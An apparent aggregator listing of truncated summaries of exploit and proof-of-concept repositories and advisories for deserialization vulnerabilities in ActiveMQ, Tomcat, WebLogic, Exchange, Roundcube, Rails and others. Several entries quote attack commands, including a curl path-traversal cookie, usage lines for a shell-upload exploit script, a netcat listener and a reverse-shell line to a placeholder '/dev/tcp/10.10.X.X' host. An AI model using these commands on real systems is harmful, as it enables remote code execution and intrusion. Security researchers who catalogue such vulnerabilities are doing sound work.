ActiveMQ_CVE-2015-5254

ActiveMQ反序列化（CVE-2015-5254） 漏洞描述：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本：Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本： http://IP:8161 0x02 确定61616端口开放： nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload： java...

CVE-2020-9484

Apache Tomcat 反序列化漏洞 CVE-2020-9484 漏洞目标环境搭建 克隆此仓库 运行 docker-compose up -d 搞定！ 漏洞利用 POC 运行 curl -v 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/cfx 名为 coldfx 的文件会在 tmp 目录中创建...

CVE-2025-24813

利用条件 DefaultServlet 写入功能启用：需在 web.xml 中配置 readonly=false Partial PUT 请求支持：Tomcat 默认支持分块上传 文件会话持久化启用：需在 context.xml 中配置 PersistentManager 和 FileStore 存在反序列化利用链：类路径下需包含存在漏洞的库 影响范围 9.0.0.M1 readonly false 2. 需要在conf/context.xml中，开启File文件会话存储 version: '3.8' services: tomcat: image:...

weblogic_wls_wsat_rce

weblogicwlswsatrce Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271利用脚本，参考https://github.com/s3xy/CVE-2017-10271修改。 命令执行并回显 直接上传shell 在linux下weblogic 10.3.6.0测试OK 使用方法及参数 python weblogicwlswsatexp.py -t 172.16.80.131:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional...

CVE-2022-48565-POC

CVE-2022-48565 PoC 简介 这是展示漏洞 CVE-2022-48565 的概念验证（PoC），该漏洞基于 Python 中 Plist 文件的不安全反序列化 。通过处理特制的属性列表（Plist）文件，攻击者可以在目标系统上执行任意代码，可能导致远程代码执行（RCE） 。 在本仓库中，你将找到四个 PoC 脚本，每个脚本展示了利用此漏洞的不同方式。这些示例演示了恶意代码如何嵌入 Plist 文件并在系统上执行。 以下是演示概念验证的视频： 免责声明 这些 PoC...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

概述 CVE-2022-21445（CVSS 评分 9.8），该漏洞是对不可信数据的反序列化，被确认存在于 ADF Faces 组件中，可被攻击者在无需身份验证（pre-authentication）的情况下远程利用，以执行 RCE。 该漏洞由 VNG Corporation 的网络安全专家 PeterJson 和 VNPT 的 Nguyen Jang 发现。Oracle 于 2021 年 10 月收到此报告，但花了长达 6 个月的时间，即到 2022 年 4 月才发布补丁。 本文中的漏洞利用主要针对 Oracle Business Intelligence 12.2.1.4.0 版本。...

Apache-OFBiz-Authentication-Bypass

Apache OFBiz 认证绕过漏洞 CVE-2023-51467 和 CVE-2023-49070 此利用脚本和 PoC 是为在 vsociety 上进行深入的 CVE 分析而编写的。 Apache OFBiz 企业资源规划 ERP 系统是一种多功能的基于 Java 的 Web 框架，在各行业广泛使用，目前正面临严峻的安全挑战。SonicWall 威胁研究团队 发现 的 CVE-2023-51467（一个严重的认证绕过漏洞，CVSS 评分为 9.8）暴露了系统完整性的严重风险。该漏洞不仅使 ERP 系统面临被利用的可能，还为服务端请求伪造 SSRF 利用打开了大门，对依赖 Apach...

QLinspector

QLinspector 使用 CodeQL 查找 Java/C 小工具链。 更多信息请参阅我们的文章 安装 克隆仓库 $ git clone https://github.com/synacktiv/QLinspector.git 搜索小工具： $ codeql database analyze log4j --format=sarif-latest --output=log4j.sarif --search-path=./QLinspector/ synacktiv/qlinspector-java-queries 查询 QLinspector.ql 用于查找小工具链的主要 CodeQ...

CVE-2024-1651-PoC

CVE-2024-1651 此CVE由Fluid Attack Offensive Team的Carlos Bello发现。该发现讨论了利用不安全的对象反序列化实现远程代码执行（RCE）。这里，我创建了一个更快且更易使用的概念验证（PoC）。因此，任何人若想复现该发现，均可将其作为参考示例。 预览...

CVE-2020-0688

用于CVE-2020-0688（Microsoft Exchange默认MachineKeySection反序列化漏洞）的利用与检测工具 构建 csc ExchangeCmd.cs csc ExchangeDetect.cs 用法 ExchangeDetect ExchangeCmd 子命令： exec args 执行命令 arch 获取远程进程架构（用于shellcode） shellcode 运行shellcode exit 退出程序 更多信息请阅读writeup.pdf（中文）。...

FlaskCache_CVE-2021-33026_POC

Pickle序列化远程代码执行 - Redis投毒PoC利用工具 检查redis服务器是否运行 redis-cli -h 127.0.0.1 -p 6379 ping redis-cli keys redis-cli get Keyid 在端口10001启动netcat监听： nc -nvlp 10001 设置Flask Cache环境 python -m venv venvflaskcache source venvflaskcache\scripts\activate pip install -r 设置Flask Cache 2.3.0环境 运行Flask应用并创建缓存键： flas...

CVE-2025-49113

CVE-2025-49113 – Roundcube 远程代码执行（RCE）PoC 本仓库包含针对 CVE-2025-49113 的 概念验证（PoC） 漏洞利用程序，这是 Roundcube Webmail 1.5.10 和 1.6.11 之前版本中的一个严重远程代码执行漏洞。该漏洞源于 upload.php 脚本中不安全的 PHP 对象反序列化，允许经过身份验证的用户在服务器上执行任意代码。 ⚠️ 免责声明： 本 PoC 仅供教育目的 使用。请勿 将本漏洞利用程序用于您不拥有或未经明确许可测试的系统。未经授权使用可能违法。 漏洞概述 CVE ID： CVE-2025-49113 CVS...

CVE-2026-103877

Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...

CVE-2026-103877 Apache Directory LDAP API: Unsafe loading of Java code from LDAP schema elements

Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...

EUVD-2026-91361

Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...

CVE-2026-103877

The Apache Directory LDAP API is vulnerable to a deserialization of untrusted data flaw (CWE-502) in versions 2.1.0 through 2.1.8 . A rogue or compromised LDAP server, or a pre-TLS Man-in-the-Middle (MITM) attacker, can provide a malicious schema object during a loadSchema() subschema search. Thi...

CVE-2025-7384

CVE-2025-7384 — Inyección de Objetos PHP a RCE Plugin: Database for Contact Form 7 contact-form-entries ≤ 1.4.3 CVSS: 9.8 Crítico CWE: CWE-502 — Deserialización de Datos No Confiables Requisito de autenticación: Ninguno No autenticado Impacto: Ejecución Remota de Código Tabla de Contenidos 1...

RAU_crypto

RAUcrypto 针对 Telerik UI for ASP.NET AJAX 的合并利用。 文件上传漏洞 CVE-2017-11317 和 CVE-2017-11357 - 将自动上传文件 .NET 反序列化漏洞 CVE-2019-18935 现在支持测试目标能否从攻击者托管的 SMB 服务中拉取远程载荷。使用 Burp Collaborator 和/或 Responder 来协助测试必要前提条件是否满足。 为了成功利用，通常需要一个包含硬编码密钥的版本，或者需要知道密钥，例如通过泄露 web.config 的内容。该利用工具还支持对用于...

CVE-2020-8165

CVE-2020-8165 Python 漏洞利用 这是使用 Python3 利用 CVE-2020-8165 的代码。此利用代码适用于 Rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 主要致谢 原始 CVE 详情：https://vulners.com/cve/CVE-2020-8165 我修改并添加了 arg parse 的 Pastebin...

CVE-2026-12191

CVE-2026-12191 这是 CVE-2026-12191 的概念验证利用代码，该漏洞是 Comma AI Openpilot 的 modeld.py 中存在的不安全反序列化漏洞，允许本地低权限攻击者通过向 pickle.load/pickle.loads 反序列化例程提供精心构造的恶意 Python pickle 载荷来实现任意代码执行。 受影响版本 Comma AI Openpilot 0.11 影响 该不安全反序列化漏洞允许本地低权限攻击者通过向易受攻击的反序列化例程提供精心构造的恶意 Python pickle 载荷来实现任意代码执行。成功利用后，攻击者可以以...